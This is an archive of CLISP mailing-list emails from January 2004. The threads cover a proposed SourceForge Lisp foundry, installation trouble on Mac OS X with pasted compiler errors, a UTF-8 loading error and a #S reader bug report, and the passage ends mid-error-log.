([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Ac8Bq-000438-MC; Thu, 01 Jan 2004 11:09:02 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Ac8Bo-0008WQ-Pc; Thu, 01 Jan 2004 11:09:00 -0800 Received: from WINSTEINGOLDLAP ([192.168.1.100]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i01J8bq10725; Thu, 1 Jan 2004 14:08:38 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ Followup-To: maxima-users@lists.sourceforge.net To: maxima-users@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net, jabberwocky-develop@lists.sourceforge.net, ilisp-devel@lists.sourceforge.net, sbcl-devel@lists.sourceforge.net, librep-list@lists.sourceforge.net Reply-To: maxima-users@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] SourceForge needs a Lisp foundry Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 1 11:10:04 2004 X-Original-Date: Thu, 01 Jan 2004 14:08:37 -0500 This message is sent to mailing lists of some Lispy SF projects. Reply-To & Followup-To are set to the maxima list (since Maxima is the most popular Lispy SF project). WIBNI there were a Lisp SF foundry? All we need is a volunteer to administer the foundry. Any volunteers? -- Sam Steingold (http://www.podval.org/~sds) running w2k Failure is not an option. It comes bundled with your Microsoft product. From hin@van-halen.alma.com Thu Jan 01 13:49:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AcAgk-0005q4-2w for clisp-list@lists.sourceforge.net; Thu, 01 Jan 2004 13:49:06 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AcAgj-0001JO-OC for clisp-list@lists.sourceforge.net; Thu, 01 Jan 2004 13:49:05 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 8D09C10DE5F for ; Thu, 1 Jan 2004 16:49:01 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i01Ln186029532 for ; Thu, 1 Jan 2004 16:49:01 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i01Ln1X9029529; Thu, 1 Jan 2004 16:49:01 -0500 Message-Id: <200401012149.i01Ln1X9029529@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Thu, 01 Jan 2004 14:08:37 -0500) Subject: Re: [clisp-list] SourceForge needs a Lisp foundry X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 1 13:50:01 2004 X-Original-Date: Thu, 1 Jan 2004 16:49:01 -0500 > WIBNI there were a Lisp SF foundry? ... Any volunteers? Well, I'm going to abdicate my offered role maintaining a separate CLISP stable CVS branch (it's not going to be worth it. I was wrong. Sorry). But something like administering a SF "foundry" is something I could do (which appears to be a mix between maintaining pages of links, moderating announce lists, and ongoing research -- something I'd do anyway). If there's no other takers, I cansubmit a request in a week or so. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sam@jovi.net Thu Jan 01 16:20:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AcD3f-0000yx-Vr for clisp-list@lists.sourceforge.net; Thu, 01 Jan 2004 16:20:55 -0800 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AcD3f-0004au-K7 for clisp-list@lists.sourceforge.net; Thu, 01 Jan 2004 16:20:55 -0800 Received: from jovi.net (h00062566c0cf.ne.client2.attbi.com [66.30.196.234]) by grant.org (8.12.9p2/8.12.9) with ESMTP id i020KXmh045143 for ; Thu, 1 Jan 2004 19:20:33 -0500 (EST) (envelope-from sam@jovi.net) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Sam P To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <870AAA90-3CB9-11D8-9362-000393B3B454@jovi.net> X-Mailer: Apple Mail (2.552) X-Virus-Scanned: by amavisd-new X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] I am having some serious trouble with setting up clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 1 16:21:11 2004 X-Original-Date: Thu, 1 Jan 2004 19:20:53 -0500 I have downloaded clisp and have tried to follow the install instructions. I have been trying to install it on my macintosh running 10.2.6. I have gotten it working before but had to reinstall my whole OS. Can someone help me out? I need more clear instructions. I am running emacs on the macintosh. Please let me know. Sam From anil.sorathiya@scinovaindia.com Sat Jan 03 10:02:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Acq6M-0002HD-VU for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 10:02:18 -0800 Received: from [61.11.21.37] (helo=localhost.localdomain) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1Acq6L-0005YK-VI for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 10:02:18 -0800 Received: from localhost.localdomain (Lion [127.0.0.1]) by localhost.localdomain (8.12.8/8.12.8) with ESMTP id i03I3CJs012441 for ; Sat, 3 Jan 2004 23:33:13 +0530 Received: (from anil@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) id i03I3BYF012439 for clisp-list@lists.sourceforge.net.; Sat, 3 Jan 2004 23:33:11 +0530 X-Authentication-Warning: localhost.localdomain: anil set sender to anil.sorathiya@scinovaindia.com using -f From: Anil Sorathiya To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1073152989.12391.3.camel@Lion> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] problem while migration for cclicc and clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 3 10:04:10 2004 X-Original-Date: 03 Jan 2004 23:33:10 +0530 i have install cclicc-0.6.2 it install fine now i want to load clcload.lsp file by my clisp2.30 but it is giving me error that ---invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16 i have also install libiconv it install fine.. then also give same error.. please help me waiting for help -anil sorathiya From kaz@footprints.net Sat Jan 03 14:47:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AcuYK-0004st-MM for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 14:47:28 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AcuYK-0002D6-Dd for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 14:47:28 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1AcuYH-0007R0-00 for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 14:47:25 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: Apparent #S reader problem in 2.32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 3 14:48:34 2004 X-Original-Date: Sat, 3 Jan 2004 14:47:25 -0800 (PST) This reproduces with the Cygwin binaries from a Sourceforge mirror, as well as with my own build from sources. I haven't tried other platforms yet. Save this program text in a .lisp file and compile it: (defstruct foo (slot)) #s(foo :slot nil) The result is surprising. CLISP goes into a loop, repeatedly dumping the following diagnostic: WARNING: CLOS::MAKE-INIT-FORM[COMMON-LISP-USER::FOO][COMMON-LISP::SIMPLE-ERROR]: CLOS::NO-APPLICABLE-METHOD: When calling #1=#Y(CLOS::MAKE-LOAD-FORM #22Y(00 00 00 00 01 00 00 00 11 17 69 00 00 69 00 01 69 00 02 9C 02 03) (COMMON-LISP::T . COMMON-LISP::T) #(CLOS::NO-METHOD-CALLER CLOS::NO-APPLICABLE-METHOD #1#) #(1. 1. COMMON-LISP::NIL COMMON-LISP::NIL COMMON-LISP::NIL COMMON-LISP::NIL) (0.) COMMON-LISP::NIL) with arguments From sds@gnu.org Sat Jan 03 17:44:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AcxJU-0002R4-Vj for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 17:44:20 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AcxJU-0003i8-MI for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 17:44:20 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AcxJS-0006D3-00; Sat, 03 Jan 2004 20:44:18 -0500 To: clisp-list@lists.sourceforge.net, Sam P Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <870AAA90-3CB9-11D8-9362-000393B3B454@jovi.net> (Sam P.'s message of "Thu, 1 Jan 2004 19:20:53 -0500") References: <870AAA90-3CB9-11D8-9362-000393B3B454@jovi.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: I am having some serious trouble with setting up clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 3 17:46:46 2004 X-Original-Date: Sat, 03 Jan 2004 20:44:17 -0500 > * Sam P [2004-01-01 19:20:53 -0500]: > > I have downloaded clisp and have tried to follow the install > instructions. I have been trying to install it on my macintosh > running 10.2.6. I have gotten it working before but had to > reinstall my whole OS. Can someone help me out? I need more > clear instructions. I am running emacs on the macintosh. Please > let me know. you might get a response if you were more specific: what did you do, what was your problem &c. -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From sds@gnu.org Sat Jan 03 17:45:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AcxKl-0002Ww-Ug for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 17:45:39 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AcxKl-0003uG-Ma for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 17:45:39 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AcxKk-0006Nh-00; Sat, 03 Jan 2004 20:45:38 -0500 To: clisp-list@lists.sourceforge.net, Anil Sorathiya Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1073152989.12391.3.camel@Lion> (Anil Sorathiya's message of "03 Jan 2004 23:33:10 +0530") References: <1073152989.12391.3.camel@Lion> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: problem while migration for cclicc and clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 3 17:48:31 2004 X-Original-Date: Sat, 03 Jan 2004 20:45:37 -0500 > * Anil Sorathiya [2004-01-03 23:33:10 +0500]: > > ---invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16 -- Sam Steingold (http://www.podval.org/~sds) running w2k What was there first: the Compiler or its Source code? From sds@gnu.org Sat Jan 03 19:55:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AczME-0000D2-L6 for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 19:55:18 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AczME-0005oH-9k for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 19:55:18 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AczMD-0006YB-00; Sat, 03 Jan 2004 22:55:17 -0500 To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200401012149.i01Ln1X9029529@van-halen.alma.com> (John K. Hinsdale's message of "Thu, 1 Jan 2004 16:49:01 -0500") References: <200401012149.i01Ln1X9029529@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: SourceForge needs a Lisp foundry Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 3 19:56:01 2004 X-Original-Date: Sat, 03 Jan 2004 22:55:16 -0500 > * John K. Hinsdale [2004-01-01 16:49:01 -0500]: > > > WIBNI there were a Lisp SF foundry? ... Any volunteers? > > But something like administering a SF "foundry" is something I could > do (which appears to be a mix between maintaining pages of links, > moderating announce lists, and ongoing research -- something I'd do > anyway). If there's no other takers, I cansubmit a request in a week > or so. please go ahead. -- Sam Steingold (http://www.podval.org/~sds) running w2k .sigs are like your face - rarely seen by you and uglier than you think From sam@jovi.net Sat Jan 03 20:13:50 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Acze9-000183-3C for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 20:13:49 -0800 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1Acze8-00026b-M6 for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 20:13:48 -0800 Received: from jovi.net (h000d8885caee.ne.client2.attbi.com [24.61.252.65]) by grant.org (8.12.9p2/8.12.9) with ESMTP id i044DQmh027586 for ; Sat, 3 Jan 2004 23:13:26 -0500 (EST) (envelope-from sam@jovi.net) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Sam P To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <6950005A-3E6C-11D8-93D8-000393B3B454@jovi.net> X-Mailer: Apple Mail (2.552) X-Virus-Scanned: by amavisd-new X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: I am having some serious trouble with setting up clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 3 20:14:11 2004 X-Original-Date: Sat, 3 Jan 2004 23:13:55 -0500 I think the Install file for the Unix section of the Clisp is just not detailed or clear enough for me. When do I do exactly what commands and where do I do them? That is pretty much what I am asking. What was the command to start Clisp? Maybe I do have it installed and don't know how to start it up. Please let me know so I can have some more insight. Sam On Saturday, January 3, 2004, at 08:44 PM, Sam Steingold wrote: >> * Sam P [2004-01-01 19:20:53 -0500]: >> >> I have downloaded clisp and have tried to follow the install >> instructions. I have been trying to install it on my macintosh >> running 10.2.6. I have gotten it working before but had to >> reinstall my whole OS. Can someone help me out? I need more >> clear instructions. I am running emacs on the macintosh. Please >> let me know. > > you might get a response if you were more specific: what did you > do, what was your problem &c. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > Apathy Club meeting this Friday. If you want to come, you're not > invited. > From sds@gnu.org Sat Jan 03 20:31:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Aczvd-0002Rg-MM for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 20:31:53 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aczvd-0005aK-Am for clisp-list@lists.sourceforge.net; Sat, 03 Jan 2004 20:31:53 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1Aczvc-0002P7-00; Sat, 03 Jan 2004 23:31:52 -0500 To: clisp-list@lists.sourceforge.net, Sam P Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <6950005A-3E6C-11D8-93D8-000393B3B454@jovi.net> (Sam P.'s message of "Sat, 3 Jan 2004 23:13:55 -0500") References: <6950005A-3E6C-11D8-93D8-000393B3B454@jovi.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: I am having some serious trouble with setting up clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 3 20:32:12 2004 X-Original-Date: Sat, 03 Jan 2004 23:31:51 -0500 > * Sam P [2004-01-03 23:13:55 -0500]: > > I think the Install file for the Unix section of the Clisp is just not > detailed or clear enough for me. When do I do exactly what commands > and where do I do them? That is pretty much what I am asking. What was > the command to start Clisp? Maybe I do have it installed and don't > know how to start it up. Please let me know so I can have some more > insight. clisp is started with command "clisp". "man clisp" will give you the invocation options. building CLISP is usually accomplished by $ ./configure --build build-dir and installation by $ cd build-dir $ make install as root. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From sam@jovi.net Sun Jan 04 06:29:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Ad9Fb-0006fO-F5 for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 06:29:07 -0800 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1Ad9Fa-0005Bz-Bc for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 06:29:06 -0800 Received: from jovi.net (h000d8885caee.ne.client2.attbi.com [24.61.252.65]) by grant.org (8.12.9p2/8.12.9) with ESMTP id i04ESvmh042758 for ; Sun, 4 Jan 2004 09:28:58 -0500 (EST) (envelope-from sam@jovi.net) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) From: Sam P To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <68A6CEE0-3EC2-11D8-8FBC-000393B3B454@jovi.net> X-Mailer: Apple Mail (2.552) X-Virus-Scanned: by amavisd-new X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: I am having some serious trouble with setting up clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 4 06:30:27 2004 X-Original-Date: Sun, 4 Jan 2004 09:29:30 -0500 Ok I am using emacs on my Macintosh. I did a /configure --build build-dir. That looked fine. Later on in the output after the ./configure --build build-dir there was errors like these bytecode.d:163: illegal expression, found `&&' bytecode.d:164: illegal expression, found `&&' bytecode.d:165: illegal expression, found `&&' bytecode.d:166: illegal expression, found `&&' bytecode.d:167: illegal expression, found `&&' bytecode.d:168: illegal expression, found `&&' eval.d:5852: illegal statement, missing `identifier' after `goto' eval.d:5852: syntax error, missing `;' after `*' eval.d:6236: illegal statement, missing `identifier' after `goto' eval.d:6236: syntax error, missing `;' after `*' eval.d:6239: illegal statement, missing `identifier' after `goto' eval.d:6239: syntax error, missing `;' after `*' eval.d:6246: illegal statement, missing `identifier' after `goto' eval.d:6246: syntax error, missing `;' after `*' eval.d:6250: illegal statement, missing `identifier' after `goto' eval.d:6250: syntax error, missing `;' after `*' eval.d:6253: illegal statement, missing `identifier' after `goto' eval.d:6253: syntax error, missing `;' after `*' eval.d:6260: illegal statement, missing `identifier' after `goto' eval.d:6260: syntax error, missing `;' after `*' eval.d:6267: illegal statement, missing `identifier' after `goto' eval.d:6267: syntax error, missing `;' after `*' eval.d:6275: illegal statement, missing `identifier' after `goto' eval.d:6275: syntax error, missing `;' after `*' eval.d:6282: illegal statement, missing `identifier' after `goto' eval.d:6282: syntax error, missing `;' after `*' eval.d:6294: illegal statement, missing `identifier' after `goto' eval.d:6294: syntax error, missing `;' after `*' eval.d:6306: illegal statement, missing `identifier' after `goto' eval.d:6306: syntax error, missing `;' after `*' eval.d:6315: illegal statement, missing `identifier' after `goto' eval.d:6315: syntax error, missing `;' after `*' eval.d:6324: illegal statement, missing `identifier' after `goto' eval.d:6324: syntax error, missing `;' after `*' eval.d:6337: illegal statement, missing `identifier' after `goto' eval.d:6337: syntax error, missing `;' after `*' eval.d:6350: illegal statement, missing `identifier' after `goto' eval.d:6350: syntax error, missing `;' after `*' eval.d:6364: illegal statement, missing `identifier' after `goto' eval.d:6364: syntax error, missing `;' after `*' eval.d:6371: illegal statement, missing `identifier' after `goto' eval.d:6371: syntax error, missing `;' after `*' eval.d:6379: illegal statement, missing `identifier' after `goto' eval.d:6379: syntax error, missing `;' after `*' eval.d:6391: illegal statement, missing `identifier' after `goto' eval.d:6391: syntax error, missing `;' after `*' eval.d:6406: illegal statement, missing `identifier' after `goto' eval.d:6406: syntax error, missing `;' after `*' eval.d:6419: illegal statement, missing `identifier' after `goto' eval.d:6419: syntax error, missing `;' after `*' eval.d:6433: illegal statement, missing `identifier' after `goto' The last three lines were: eval.d: At top level: eval.d:2107: parse error before '}' token make: *** [eval.o] Error 1 then I did [Sam-Ps-Computer:~/Desktop/clisp-2.32] samp% cd build-dir/ [Sam-Ps-Computer:~/Desktop/clisp-2.32/build-dir] samp% su root Password: [Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# make install gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -c eval.c lispbibl.d:7384: illegal external declaration, missing `;' after `__SP' eval.d:1784: illegal expression, found `#' bytecode.d:4: illegal expression, found `&&' bytecode.d:5: illegal expression, found `&&' bytecode.d:6: illegal expression, found `&&' bytecode.d:7: illegal expression, found `&&' bytecode.d:9: illegal expression, found `&&' bytecode.d:10: illegal expression, found `&&' bytecode.d:11: illegal expression, found `&&' up to where it says bytecode.d:295 and then it says eval.d:5852: illegal statement, missing `identifier' after `goto' eval.d:5852: syntax error, missing `;' after `*' eval.d:6236: illegal statement, missing `identifier' after `goto' eval.d:6236: syntax error, missing `;' after `*' eval.d:6239: illegal statement, missing `identifier' after `goto' eval.d:6239: syntax error, missing `;' after `*' eval.d:6246: illegal statement, missing `identifier' after `goto' eval.d:6246: syntax error, missing `;' after `*' eval.d:6250: illegal statement, missing `identifier' after `goto' eval.d:6250: syntax error, missing `;' after `*' eval.d:6253: 